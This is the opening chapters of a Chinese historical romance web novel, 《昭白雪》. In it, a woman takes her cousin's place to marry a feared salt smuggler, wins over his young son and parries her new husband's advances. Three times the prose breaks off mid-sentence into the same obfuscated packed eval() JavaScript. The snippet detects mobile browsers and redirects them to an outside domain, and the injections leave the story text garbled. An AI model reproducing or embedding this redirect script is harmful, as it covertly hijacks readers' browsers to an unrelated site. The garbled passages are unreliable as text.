《昭白雪》 1. 入府 恒熙十五年秋，江都街头，十里红妆，万头攒动，鼓乐喧天。 鳏居四年的大盐枭续娶美娇娘，惹全城百姓鱼贯而出，一时热闹如过大年。 李清白脱了六斤沉的翟冠，大喇喇坐在喜轿中，从怀里摸出一只还温热的烙饼，狠狠咬了一大口：“哼，我就知道成亲要饿肚子，幸亏早有准备。” 婢女小沛忧心忡忡地看她狼吞虎咽：“小姐，您这吃相……未免也太豪放了。” 她在霞帔上蹭干净手指，含混道：“等入了府，我必定贤良淑德，不叫人看出破绽。” “可洞房之夜，怕是……” “怕啥？坊间都说，他患了不举之症，面子挂不住了，才娶个新娘掩人耳目。那种事，量他也有心无力。” “可奴婢听说，这种人往往心思扭曲，手段下作，奴婢怕……” “放心好了，光迷药就够他喝几壶，要吃亏也是他吃亏。” 小沛还想再叮嘱两句，李清白却已双眼迷离，咂吧嘴道： “都说谢府的厨子是江都一绝，这一趟，不光要扒了谢昭的皮，还要连本带利吃回来。” “……” 小沛将轿帘掀开一缝，盯着马背上的新郎官，幽幽叹气：“看着倒挺像个人的，怎么偏偏做了首辅的狗呢？” 李清白瞟了一眼那宽肩细腰的俊逸身姿，费力咽下口水：“呸，衣冠禽兽。” 仪仗很快到了谢府门前，婚仪倒与寻常人家无异，无非跨了火盆马鞍，再登堂行礼。堂间人声沸腾，少说也有五十来号宾客，李清白一心想着开席，乖乖跟着傧相进香叩首： “一拜天地——” 她听见有人窃窃惋惜，说这新娘子姜越甚是可怜，明明是县丞姜尚的掌上明珠，刚及笄便被恶名昭彰的“盐王爷”强娶作续弦，还要给个四岁小子当后娘，这辈子算是毁了。 “二拜高堂——” 盖头朦胧，她依稀看见双亲席上的除了她面色铁青的姑父姑母，还有谢昭父母的牌位。早听闻这位大盐枭双亲早亡，倒也省去了许多麻烦事。 “夫妻——” 说时迟那时快，通赞话音未落，一只雪色猛禽闪电般冲入礼堂，伴着短促而高亢的鸣啼，将众人吓得四散惊呼。 她不动声色观场——混乱中谢昭泰然自若，任那目光炯炯的海东青落定肩上，取下它喙爪上绑着红线的竹筒，抽出内中密信，略略一扫，脸上就起了阴云。 他扬手送海东青飞走，展动青袍，除下花冠，以藐视众生的姿态，疾风般走向堂外，沉沉撂下一句： “这堂改日再拜，今日就到此为止。” 掷地有声，不容任何商量。 在场宾客皆是傻了眼，姜尚率先反应过来，冲到门前阻拦： “谢……姑爷，你怎能就这样走了？当初是你逼我们嫁女，如今却置她于不顾，叫人如何非议？她……” 谢昭长身站定，周身都起了煞气，扬唇给了他一个“嘘”的手势。 姜尚清楚地看见了，他那紫白色的指甲缝里，洇着一层未干透的血，立时噤若寒蝉。 “那么，其他人等可还有异议？” 谢昭鹰隼般锐利的眼光一一扫过人群，大家纷纷低下头，不敢与他对视。 “很好。” 谢昭背过身了，众人才敢将同情的目光投向被抛弃的新娘子。李清白懒理这些，眼神暗示人群中一名清秀高挑的年轻男子，速速跟紧他。 管家赔着笑脸，请大家回府等候通知，改日再来贺喜。 谢昭一脚已迈出门槛，却听得“哎哟”一声，险些与人撞了个满怀。 他轻蔑地瞪了一眼那山羊胡须老爷子，掸掸袖间尘灰，大步流星离去。 “兔崽子，你算个什么东西，也敢嫌我？老夫威风的时候，你爹都还在穿开裆裤呢！” 老爷子早年叱咤朝堂，晚年生意做得风生水起，本是受人之托千里迢迢来送礼的，哪里受得了这等轻视，眼见喊不应也追不上谢昭，梗着脖子就要谢家给个说法，一把龙头拐戳得砰砰响： “你们说，哪有这样待客的？今儿我还就不走了，等那兔崽子回来，向我磕头赔罪！” “大人，咱们爷也是有要事在身，还请您大人有大量，多多包涵。” “他谢昭有什么了不起的？不过是跪舔着做了首辅家的一条狗，靠贩私盐得了不义之财，哪来这么大脸面？” 瞥见桌上灵位，不免冷笑：“也难怪命中克妻克父克母，依老夫看，这全是报应！报应！” 老爷子越说越起劲，唾沫星子横飞，忽听得尖叫声起，数道寒光侵入眼帘，顷刻便有十数名府卫模样的黑衣男子刀架颈间，眼光比刀光还要凌厉几分。 “你，你们要干什么？杀人吗？” 他们并不答话，只将刀逼得更紧。老爷子一挣扎，血便顺着领口细流而下，吓得众人皆是面如土色。 老爷子受了血光刺激，索性将命都豁出去：“有本事你们就杀了我，看看这天下还有没有王法！我呸！谢昭这种狗，给我看家护院都不配，这几年来，他杀了多少人，赚了多少黑心钱，你们难道没听说吗？我……” 眼瞅那利刃向更深处划去，李清白一个箭步冲上前，怒吼道：“且慢！” 众人闻言惊诧。 没想到这纤纤弱柳竟如此中气十足。 她有些尴尬地清清嗓子：“咳咳，大家都是朋友，有缘千里来相会，多大点事儿嘛，何必要闹得这么僵。” 又冲着老爷子一通打量，深深叹气：“唉，大家瞧，老爷子印堂发黑，嘴唇煞白，手抖不止，多半是路途疲惫，饥寒交迫，以致癔症发作，才会胡言乱语。大家听过也就听过了，千万别往心里去。” 老爷子气得吹胡子瞪眼睛：“你，你——” 她故作惊恐：“不好，老爷子病情又加重了！你们两个，快快将他带回去，好生治病！” 识相的仆人忙拽着老爷子退了场，黑衣府卫们也跟着收了刀。 她微松一口气，又朝人群鞠躬：“今日之事皆因我谢家而起，我代爷向大家赔个不是。大家也知道，我们爷动辄千万两的生意，难免有些紧要事处理，并非有心怠慢，也请大家多多海涵。今日就由我做主，招呼大家吃好喝好，不醉不归。管家，每桌再加十个菜！” 众人鼓掌叫好，也有细心的夫人过问，这堂还没拜完，算怎么回事？ 李清白思量片刻，打量一圈，从管家身后拽出个探头探脑的白净小孩。那孩子满身贵气，胸前挂一把硕大的长命金锁，不是谢昭独子谢知雨又是谁？ “儿子替爹拜堂，总能说得过去吧？” 众人见谢知雨扭扭捏捏扮成小小新郎，皆是拍手起哄，笑得前仰后合，方才的惊吓不快，早做了过眼云烟。 谢知雨起初不愿与她“夫妻交拜”，羞红了脸撒泼打滚，愣被强按在地上才肯就范。拜完堂，宾客离场，她终于长舒一口气，今日这围算是解了。 只是不知谢昭究竟干什么勾当去了，夏荫那边又查探得如何？ …… 她入神想着，贸贸然被一阵压抑的哭声打断，这才想起，此刻正和谢知雨坐在婚床两头，别提有多尴尬。 初来乍到，她并不想与人结怨，更何况这孩子名义上是她继子，于是试图安抚： “喂，别哭了好不好？” 谢知雨小小一只蜷缩在床尾，只顾抽噎不理她。 “替你爹拜个堂，就那么委屈吗？” 她朝谢知雨那边挪，想离他近一些，谁知刚挪了一步，他便如受惊的幼兽，瞪红双眼呜咽，恨不得扑上来咬她。 如此几番，她也不想再讨没趣，自顾自道：“你也别恼了，我去后厨看看有什么好吃的，亲自给你端来赔礼。” 末了，又补充一句：“日后抬头不见低头见，你还得叫我一声娘亲哪。” 谢知雨闻言急了，拿起花球狠狠砸在她腰上：“谁要你做我娘亲！” 小沛也急了，撸起袖子要过去教训他，被李清白拉住，好生劝了几句，才撅着嘴打上灯笼，气鼓鼓地出了门。 谢府又称霁园，乃江都数一数二的山水园林，二人入府时未来得及细看，此间夜凉如水，明月高悬，倒将府中景致照得清亮。 她长居北地，见惯了四四方方的宅院，乍见这奇思巧设的一步一景，穿行廊榭之中，倒生出几分从未有过的闲情雅致。然而风景再好，终究比不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242681|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上心心念念的美食，一路风风火火行至曲桥，险些与人撞了个满怀。 “呀！” 对方是名不起眼的家丁，认出是她，忙低头停步，恭谨行礼： “夫人。” 她微微点头算作应承，心中默念着芙蓉鸡片盐水鹅，不免加快脚步。 却没料想，下一刻便有双粗糙的大手攀上她的腰肢，奋力将她推远。 曲桥之下便是冰冷刺骨的池水，此人分明要置她于死地！ 若不是她瞒着家里替嫁，只怕那位远房表妹今日就要命丧于此。旻朝近年气候格外反常，一秋冷过一秋，表妹自小娇养闺中，身量单薄，如何经得起这般折腾？姑父姑母对她极尽疼爱，结亲谢府已是万分不情愿，又如何经得起这般打击？ 想到这，她顿时怒从心起，顺势钳住那人大腿，使了十成十的力气，反将他推入水中。 扑通！ 小沛眼瞅着池中浪花翻腾，呆立片刻才反应过来：“来人呐，有人落水了！” “……” 李清白冷眼瞧着，巴不得没人听见，好叫他多泡会儿凉水。 很快她就发现，好像……真的没人听见啊？ 小沛嗓门儿不小，喊了半天，却压根就没人过来。那人在水中胡乱挣扎，看样子根本不会水，照这样下去，迟早要出事。 她心头一紧，也跟着喊起来：“快来人呐，救命啊！” …… 夜色如死一般的沉寂，远方星火点点，亦微弱如流萤。 那人终于失了力气，拼命浮出水面又急速下沉，动静越来越弱，眼瞅着就要没命。 李清白遥望着黑黝黝的水面，一番思量挣扎，终褪下衣冠首饰，咬牙跳入池中。 这好歹也是一条命呐。 她自小习武，身体素质极好，不消片刻就游到了那人所在的位置，然而这寒彻骨髓的一池冰水，也令她浑身战栗，意识迟钝，险些被将死之人的求生欲拖入池底。 管家带着下人赶来时，正目睹她披头散发拽着个死猪样的男丁上岸，吓得魂飞魄散。 她强笑着摆摆手，示意自己没事，只说途经此地碰巧见人失足落水，呼救不应，情急之下才跳水救人。 待到梳洗完毕，抱着身子裹在厚棉被里，打着一茬又一茬的喷嚏，免不了被小沛数落： “小姐，您方才为何不说出实情？他要害您，您反而拼了命救他，哪能如此？” 她抓了抓还没干透的头发，叹气道：“他险些淹死，受惊过度，方才连话都说不清了，也算受了惩罚。这府里情况咱们还没摸清，索性先博个体恤下人的好名声，日后也好在谢府立足……阿嚏！” “这也太便宜他了！” 李清白捏捏小沛的脸蛋，让她赶紧去歇息，自己又灌了两碗姜茶，昏昏沉沉睡下，只盼好生休息一晚恢复精力。 半梦半醒间，却不知从哪个角落断续传来女人的啜泣声和叮叮当当的摇铃声，弄得她心里直毛躁。 如此几次，她再无睡意，起身披了件长袄，一探究竟。 月光皎洁，椅榻屏架一一抚过，都没什么异样。经过梳妆台，那面造型奇巧的花鸟镜倒是引人注意，忍不住坐在桌前细看。 这一看，便从中窥得一抹鲜红的血色。 尔后镜光一闪，赫然现出一名长发飘飘的红衣女鬼，煞白着脸露出狰狞的眼球，一副摄人心魄的诡异模样！ 她素来胆大，并未受惊，而是细细观察。这“女鬼”竟贪图人间富贵，胸前一把金锁闪闪发亮，差点晃瞎她的眼。 她心中有数，转过身去，沉静与“她”对峙。 “啊！” 对方明显吓了一跳，下意识叫了出来。 “怎么，鬼还怕人呐？” 那半人高的“女鬼”闻言惊慌失措朝外跑，情急之下摔了个狗啃泥，头戴的假发也甩飞了出去，圆头圆脑，正是小鬼谢知雨。 她蹲下身，打算提起他双腿倒悬，给他点教训，可不知为何，看着那双冻得通红的小脚丫，莫名起了怜爱。 “天这么冷，怎么不穿鞋呢？” 他本来挣扎着往外爬，一听这话，忽地僵在原地，眼角落下几滴泪来。 2. 洗脚 知雨：娘亲，洗脚！ 她伸手摸了摸那双满是灰的冰脚丫，颇为同情地叹了口气：“哎，我叫人打桶热水来吧。” 小沛睡得正香，她不忍打扰，另唤了个面相老实的丫头，取了热水、汤婆子和衣物来，吩咐她帮孩子洗脚。 谁知那小子忽然眼巴巴望住她：“你帮我洗好不好？” 她一张嘴就是要拒绝的，可他像只被遗弃的小猫，望着望着眼里就有了泪光。 她只好改口让人下去，亲自挽了衣袖，将他抱坐到凳上。 那孩子本就生得漂亮，月光一照，更显眉清目秀，只是粉嘟嘟的小脸上仍挂着惶然，局促不安地被她捉了双腿，轻轻放进冒着热气的木桶里。 “水烫不烫？” 他摇摇头。 从小到大，她都没伺候过别人，给他洗脚虽然有些磕碜，感受却是无比新奇，因此洗得格外认真，就差给孩子来套脚底按摩了。 谢知雨全程低着头，直到被她擦干净抱在怀里，终于哇地一声哭了出来。 她有些慌张：“怎么了？弄疼你了？” 他哭得很凶：“我以为你会打我，骂我，和爹爹告状，没想到你对我这么好……” 她的心像被人捏了一下。 这孩子平时得多可怜啊。 想也想得到，谢昭平日里忙着巴结权贵赚黑钱，下人们又多战战兢兢如履薄冰，从没有人真正关心过他。 她心怀怜悯，索性帮人帮到底，给孩子穿上鞋袜，换了干净衣裳，准备让管家把他抱回去。 似乎察觉到什么，谢知雨紧紧抱住她，苦苦哀求：“娘亲，你今晚陪着我好不好？” 她一怔：“你叫我什么？” “娘亲……对不起，娘亲，都是知雨不好，我以后再不惹娘亲生气了。” 娘亲…… 她细细掂量着这两个字的分量，白得了个大胖小子，莫名觉得有点暗爽。 于是端起架子摆谱：“是谁拿花球砸我，说不要我做娘亲的？” 知雨乖巧替她揉腰：“娘亲，我错了。” “这还差不多。” 揉了好一阵，她忽然想起一件事：“知雨，你认得那个叫阿旺的下人吗？” 知雨先是一愣，继而开始发抖，连牙关都在打颤：“我，我不知道，他是新来的。” 看他反应，与阿旺推人落水一事明显脱不了干系，可他又如误伤了人的小猫，一副生怕主人厌弃的可怜样，死死抓着她袖子不松开，她也实在不忍心苛责，只待将来有机会再提。 眼下已经取得他信任，不如借此打探下谢昭的习性。 她抱他到床上，裹进厚棉被里：“现在不冷了吧？” 知雨亲昵地搂住她：“有娘亲在，不冷。” 李清白坦然享受着他的示好，转头就将话题引到谢昭身上。 “知雨啊，娘亲问你，你和爹爹平时关系好吗？” 知雨默默点了点头。 “平日里待在家，你们都做些什么？” 知雨有些沮丧：“爹爹忙着外出跑商，一年到头很少在家。在家的时候，一般都是过问我的功课。” “功课？都有些什么？” “《三字经》《百家姓》《增广贤文》《蒙求》《孝经》《四礼节要》……” “得得得，快别说了，头都大了。” 她自小讨厌念书，光是听书名就如念经一般，也难为这么小的孩子，竟要学这么多功课。 “都是他亲自教你么？” “去年上过私学，也请过好几个先生到家里，爹爹都不满意，今年就让我自己学了。” “这么多字，识得吗？” “……” “除了功课，也不管你别的么？” 他眸光又黯淡了几分：“功课做不好，爹爹就会生气，自然无心过问其他。” 亲生幼子尚被如此苛待，又何况那些与他对立之人呢？ 她赶紧安慰：“你爹那脾性，方圆百里都知道，也怪不得你。” 像是怕她要走似的，知雨突然缠住她手臂，急急替谢昭说好话：“娘亲，爹爹他不像外头说的那样！” 自谢昭四年前攀上当朝首辅许灵阶，官盐私盐两头红火，又建起声势浩大的私人船队，便成了横行江上风头无两的大枭商，要说他行事光明磊落，鬼都不信。 “那你说，你爹是什么样？” 知雨歪头想了一会儿，红着脸道：“反正，爹爹他是个好人。” 她忍住没笑，心道这小孩懵懂无知，又打听道：“拜堂时，你爹为什么离开，你晓得吗？” 知雨摇摇头：“爹爹总是很忙的。” “哦？比如，他最近都在忙什么？” “嗯……爹爹他从不和我说这些。” “你也不关心关心他？” “爹爹说，他的事不用我操心，我只管好好学习，将来考取功名便是。” 她有些失望，看来从这小子嘴里是套不到什么话了。 一阵困意袭来，她打了个大哈欠，拉着知雨躺倒：“不早了，咱们赶紧歇息吧。” 知雨却睁着圆溜溜的大眼，把她摇得像波浪一样：“娘亲，你能不能给我讲个故事再睡呀。” “这么晚了，还讲什么故事……” “可我听说，别的小孩睡前都有爹娘讲故事。” 她本来困得发晕，一听这话，心酸不已，奋力撑开尚在打架的上下眼皮。 “娘亲给你讲！话说从前有个人叫武松……” 她读过不少话本子，讲起故事来活灵活现，听得知雨拍手叫好。 “娘亲，再讲一个！” “话说从前还有个人叫鲁智深……” “娘亲，我还想再听一个！” …… 她讲到口干舌燥，终于困得不行了，弱弱吐出气音：“知雨，说好的，这真的是最后一个了。” 知雨在她脸上吧唧啄了一口：“娘亲，你真好。” …… 这一夜，李清白睡得很沉。 也不知睡了多久，感觉身下有些漏风，下意识扯了扯被角，眯眼瞟向窗外。 日光格外亮堂，甚至亮得有些刺眼，乍一看，还有洁白的羽毛打着旋儿飘下。外头白茫茫一片，天地是许久不见的清明，她忽地反应过来，这是在下雪啊！ 江都地处淮南，只有寒冬腊月才会降雪，眼下中秋才过了十日，居然天降异兆，也不知是福还是祸。 她披了外衫坐到窗前，呆呆看了许久风景，才想起昨夜似乎还有个人睡在自己身边。 转头一看，床上却只有她蹬乱的被褥，哪还有那小子的影子？ 该不会是问得多了，惹了他怀疑，跑去和谁报信了吧？ 她有些紧张，急急套上鞋袜，要出门去找他。 推门那一霎，却有十数名簪花提篮的年轻男女从天而降，齐声高喊： “早安，夫人！” 在夸张的仪式中，她目瞪口呆地看着贵公子打扮的知雨得意洋洋地闪亮登场，指挥众人将她抬进屋内坐好，梳洗的梳洗，打扮的打扮，撒花瓣的撒花瓣，大概皇帝的宠妃也没有这个待遇。 她盯着镜中那个美到陌生的女子，无语道：“你们这是做什么。” 知雨殷勤抱住她大腿：“娘亲，你待我真好，从今以后，我都会加倍待你好的。” 他潇洒地打了个手势，便又有一群青葱似的的丫头小子，排着队将秀色可餐的美馔佳肴铺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242682|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满了她面前。 哇塞！ 她瞬间两眼放光。 白嫩细滑的芙蓉鸡片，以青瓜、胡萝卜、黑木耳点缀，透着晶亮亮的油光，令人垂涎三尺； 淋了鹅油和卤汤的盐水鹅，皮薄肉厚，鲜美非常，看刀工就知，主厨少说也有二十年功底； 浮在虾籽酱油里的小馄饨，个个饱满剔透，莹润喜人，她一口气能吃十八个； 更别说，鱼骨熬汤、鱼片吊汤的长鱼面，色泽奶白，鲜香扑鼻，肚子里的馋虫都要被勾出来！ 你小子，还真没白疼你啊！ “娘亲，请慢用。” 这话倒提醒了她，在谢府，万不可吃相难看，被这些下人瞧出端倪。 她定了定神，按捺住心性，收敛起习惯，学做淑女品鉴美食，倒也有模有样。 不得不说，谢府的厨子做菜是真绝，色香味都是一等一的绝，假如天天都是这个伙食标准，哪怕和谢昭同处个三年五载，她也毫无怨言。 美滋滋地进完朝食，谢知雨还有后招，命人拿了香巾热水来，要亲自替她洗脚。 他虔诚地捧着她的双足，放进浸满花瓣的热水桶里，一边按摩一边念念有词： “娘亲，外头这么冷，可千万别冻着了。” 你小子，还真懂得知恩图报哇！ 被热水这么一泡，她浑身的经络都松展开来，半眯着眼瘫在椅背上，呼吸着湿润的香雾，舒服得快要睡着了。 唔……就是周围有些吵，总有只小麻雀在耳边叽叽喳喳的…… 迷迷糊糊间，她听见那麻雀说起了人话。 “夫人！夫人！快起来，爷回来了，请您去霜华堂一见呢！” 什么？ 她瞬间从圈椅上弹起，溅了知雨一头水，还好他懂事，自个儿默默擦掉了。 谢昭怎么这时候回来了？ 小沛如临大敌，她也不敢怠慢，迅速整理好全身，快步往霜华堂去。 一路上，雪景旖旎如画，她也无心品赏，反复想着昨日谢昭和他的府卫盛气凌人的样子，多少还是有些忌惮。 恍惚已至门前，门缝半掩，室中寂静无声，她明白再无退路，深吸口气，推门而入。 那位令人闻之色变的大盐枭，此刻身披大氅，抱胸张腿而坐，正居高临下地含笑睥睨着她。 她轻微抬了一下头，又迅速垂下，连同心跳一齐收敛。 老实说，谢昭好看得令她恍神，眉若远峰，瞳似幽潭，目之所及，皆为风景，然而他周身散发的那股凛冽肃杀意，却如北风过境，令她寒毛直竖。 “过来。” 他的声音比昨日还要深沉。 她谨慎地迈着淑女步伐，怯怯行至谢昭身前。 “昨夜睡得可好？” “托爷的福，很好。” “府里住得可还习惯？” “自是习惯。” 起初，谢昭平平淡淡地问，她唯唯诺诺地答，一切都好似风平浪静。可很快，她便觉察谢昭有意试探，额上开始冒出细密的汗珠，心也似孤帆闯海，翻卷不歇。 “昨日拜堂，我去而不归，你可有怨？” “妾不敢。” 谢昭开始玩弄手上那只和田白玉扳指，状似漫不经心地挑眉： “你也不问，我去做什么？” “女子出嫁，自当从夫，夫君不言，妾也不该问。” 她说话时，谢昭连眼睛都不眨，直直盯着她的脸。她手心都开始湿润，僵立了好一会儿，才等来他不痛不痒的一句评价。 “你很懂事。” 谢昭扬起头，脸上笑容犹在，眼中却布满嘲弄： “那，你就在这儿服侍我，替我洗脚吧。” 3. 杀意 ？？？ 给知雨洗脚，那是她看孩子可怜，自个儿心甘情愿的。可这谢昭，当着下人面就如此欺辱自己，也太不给面子了吧？ 丫头们听话地张罗打点，很快便不见了身影。虚掩的房门外，只留下几许细碎的窃笑声。 此时此间，唯余他们两人。 谢昭极不客气，撩起衣摆，傲慢伸出一脚，在离她鼻尖三寸处停下：“喏。” 那毡靴上金线绣的滚球狮，似乎也在咧着大嘴嘲笑她落魄。 她面不改色地脱下他靴袜，语气十足平静： “爷，您辛苦了。” 相比于他的脸，那双脚长得实在丑陋，白而细瘦，筋骨突兀，脚掌布满茧子。她自是嫌弃得紧，可又不得不捧玉献宝般好生对待。 她小心谨慎伺候着，生怕惹他不快，可谢昭那个讨嫌鬼，故意要她难堪，双足触到水面的那一刻，用劲向下猛扎，激起水花一片，溅了她一头湿。 感受到他刻薄的眼光，她没吱声也没去擦，淡淡道： “到底是行万里路，挣万两金，到哪儿都有声响。” 谢昭没有回应。 她执了柔巾，替他里里外外擦洗，连指缝也照顾得周到。这期间谢昭没再刁难，趁他闭目养神，她也稍微松了口气，刚想动动蹲麻的腿，就又被他溅湿了几缕额发。 “水凉了，你也没知觉吗？” “是妾疏忽了。” 她仔细拎了铜壶，以均匀的力道控制住水流，确保加入桶中的热水不会烫到他。然而谢昭并不领情，加重了语气，以莫须有的罪名指责她： “你搞什么？想烫死我啊！” “妾没有……” “你到底有没有？” 谢昭好像是生气了，她也不敢再辩解，怯声道：“是妾错了。” 谢昭冷笑：“若是不知轻重，以后还有得罪受。” 她故作惊惧，垂睫凄然道：“对不起，爷，是妾不好，您责罚妾吧。” “罚？你想我怎么罚？” 谢昭眼中闪过一线复杂的情绪，捏住她下巴，强令她抬头直视自己： “那就，罚你给我按摩吧。” 谢昭松了手，她低头望向那双在她眼里肮脏不堪的脚，从牙缝间挤出一个： “是。” 按摩她并没有学过，可从小研习武艺，早将足底穴道摸得透彻。公孙，然谷，涌泉，找准位置并不难，难的是谢昭他茧厚，又硬又硌手，一圈按下来，她感觉自己手上都要长茧子了。 她一边按，一边偷瞄谢昭情绪，不知为何，他的脸色越来越白，越白她就按得越起劲。 谢昭十指抠在扶手上，闷闷道：“你以前学过按摩？” 她瞅他头上冒出汗珠，小心回：“闲时也爱看些医书，跟着书中学的，让爷见笑了。” “你会的，可真不少啊。” 他这话，也像是从牙缝里挤的。 这脚算是洗完了，也按摩完了，服侍他穿上鞋袜，该是没有旁的幺蛾子了。 “爷若没有别的吩咐，妾就先回去了。” 她行完礼，转身就走，身后却幽幽飘来一句： “慢着。” 她无奈回过身，见谢昭正用两根骨节分明的手指，解下那件云鹤纹彩绣的银灰大氅，眼中波云涌动： “想必你母亲已经教过你，该如何伺候人。” 啥？伺候人？ 她浑身一激灵，见谢昭面色潮红，眼含轻佻，不免有些发怵。 她不自觉退后了一小步，讪笑着摆手：“爷，您这刚回来没多久，应该也挺累的。” 谢昭站起身，将她笼在深长的阴影之下：“不，我不累。” 她连着后退了三步，背过手去摸缠在腰带上的药瓶：“爷，我觉得……有些事情还是晚上做比较合适。” 谢昭步步相逼：“只要我想，什么时间都合适。” 她还想再退，谢昭已敏捷堵住她退路，低下俊朗得可怕的五官，迫近她楚楚可人的脸蛋。 她舌头开始打结：“那，那个，爷，我，我还没沐浴焚香呢……” “可我却闻着，你身上好香啊。” 糟糕，都是知雨干的好事！ 谢昭如狼似虎，打横将她抱起，如一团乱絮，粗鲁地扔在床榻之上。 她这才忆起，今早被撺掇着换了衣衫，迷药根本没带。 眼见谢昭开始宽衣解带，欲行不轨，她大脑飞快转动，在他欺身而下的那一霎，露出一个诡异的笑容： “您就那么着急吗？” 谢昭有被吓到，警惕地停下了动作。 她阴阳怪气道：“可是，急也没用啊。” “你这是什么意思？” “爷，我听说，您……好像……” 她故意顿了一顿，嫌弃地撇撇嘴：“啧，不太行。” 谢昭身躯一震，耳根刷地就红了。 她反过来安慰他：“爷，您也别太伤心了，越是强求，就越是不行。至于外头那些风言风语，妾替您回了便是。” 谢昭撑腰坐起，连带刮起一阵恶风，同他冰刀子一样的眼神，一股脑刮在她身上。 她无辜地眨眨眼，抵御这漫天风雪：“爷，您瞪我也不行啊。” 谢昭气得直发抖。 “不行就是不行啊。” 被她轻飘飘的一句话戳到命门，谢昭好似皮球泄了气，干瘪瘪地瘫在床边，半天都没说一个字。 她趁机整理衣衫，好言相劝：“爷，您哪，多调养调养身体，找几个好大夫看看，总会有办法的。日子还长，咱们慢慢来。” 幸好没让他占到什么便宜，否则将来可没脸面见人了。 看谢昭那眼神，多少想吃了她，可自知理亏，最终也只是悻悻离去，走前恶狠狠撂下一句： “今日之事，不许对旁人说起！” 这一大清早给她累得够呛，回了房倒头就睡，连午食也是让人端到房里用的。养足了精神，品过了美食，心情自在松快，计划着下午在府里多转一转，将这里的地形布局弄个清楚。 谁知前脚刚踏出门，迎面就有个苦相的丫头跌跌撞撞跑过来： “夫人，大事不好了！爷在翰墨斋同小少爷温书，发了好大的脾气，小少爷哭得凄厉，怕是又挨打了，您快去看看吧！” 怎么，这是在自己身上吃了瘪，就拿孩子撒气？ 顾不得小沛，她提裙就跑，要救知雨于水火之中。 她是破门而入的，冲进去的时候，正看见谢昭扬起一柄红木戒尺，朝知雨红肿的手心高高落下。 她一把抢下戒尺，挡在哭唧唧的知雨身前，与余怒未消的谢昭对峙。 谢昭冷冷扬眉：“怎么，你这是要造反？” 她这才觉察这番举动有些冒失，细声道：“是妾冲动了。可是爷，知雨他还小，这样打也吃不消呀。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242683|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他学无长进，脑袋空空，难道不该挨打吗？” 翰墨轩书香满盈，长桌清供，一页发皱的黄卷被沉香镇尺压着，似乎正是谢昭恼怒的根源。她走近端详，只见上头印着数道诗文题，均是有上句填下句，或有下句填上句，以知雨的年纪和学识，答不上来也属正常。 “爷，这些题……” “这些题，酉时前若还交白卷，他晚饭就别吃了。” 谢昭黑着脸，甩了话便走，她蹲身摸摸知雨的头，爱怜道：“不怕，娘亲教你写。” …… 酉时刚至，便有小厮来敲谢昭的房门，将小少爷的答卷恭敬奉上。 谢昭扫了一眼那愈发不成形的纸卷，轻嗤了一声，将它随手扔在桌边。 元旌端着药碗进来的时候，谢昭正捧着一册账本细看，抬头见是他，脸色明显缓和了几分。 跟了他八年，元旌深知他脾性，放下药碗默默退到一旁，直到许久未传来翻页声，才上前禀报。 “爷，尹荣他们现下情况已经好多了，除了一名断腿的妾室仍在哭闹，其他人都还算安定。” “若是还闹，你看着处理吧。” “是。等风声过了，我再派几个可靠的兄弟，把他们一家送走。” “切莫被人发现。” “是。” “吕彬丁忧去职已逾半月，朝中可有属意的新人选？” “眼下虽用人紧张，两淮巡盐御史这个肥差，倒也有无数双眼睛盯着。据探子回报，皇帝指了右佥都御史唐琰，不日将按盐阳州府。” “那个靠青词得宠的家伙？” “正是。此人入翰林后一度默默无闻，三年前靠一手青词得到圣上青睐，许大人对此很是不齿。” “找人摸摸他底细。” “是。” 谢昭沉吟片刻，又问：“前礼部尚书之子，仍在长安门外日日击鼓，替他爹申告鸣冤？” 元旌面露不忍：“是，受廷杖三次仍不肯放弃，拖着渗血的身子也要来，再这样下去，怕是要废了。” “想个法子把他弄走，找人给他好好讲讲道理，讲通了，寻个偏地儿待着，再别回京了。” “这赵大人也是，许家亲戚参考会试，塞了银子，睁只眼闭只眼也就罢了，偏偏一身傲骨，非要上告，还未告成，便遭构陷下了诏狱，老子死了，儿子还要接着送死……” 谢昭给了他一个闭嘴的眼神。 元旌收回话头，又道：“都察院那边，孟固那帮人最近倒是安生，没再弹劾许大人了。” “盯紧他们，别再惹出什么岔子。” “是。” “上周运往湖州和垟城的那两批货，可还顺利？” “已售四万斤，获利六千零八十两。此外，购淮盐盐引三千六，浙盐盐引一千八，成本合计三千五百一十两；承运淮盐两千一百引，刨去年息、赈济银、割没银、锭银材耗、脚价等，共获利一千零二十两。只是许大人近来伸手颇多，算下来也不剩什么。” 谢昭轻叹息：“无论如何，那笔银子都不能断。” “是，属下明白。” …… 一问一答间，天渐渐暗了，元旌瞟了眼那碗已经凉透的药汤，打算拿回去重新热，被谢昭叫住。 “等下，还有件事要你去做。” 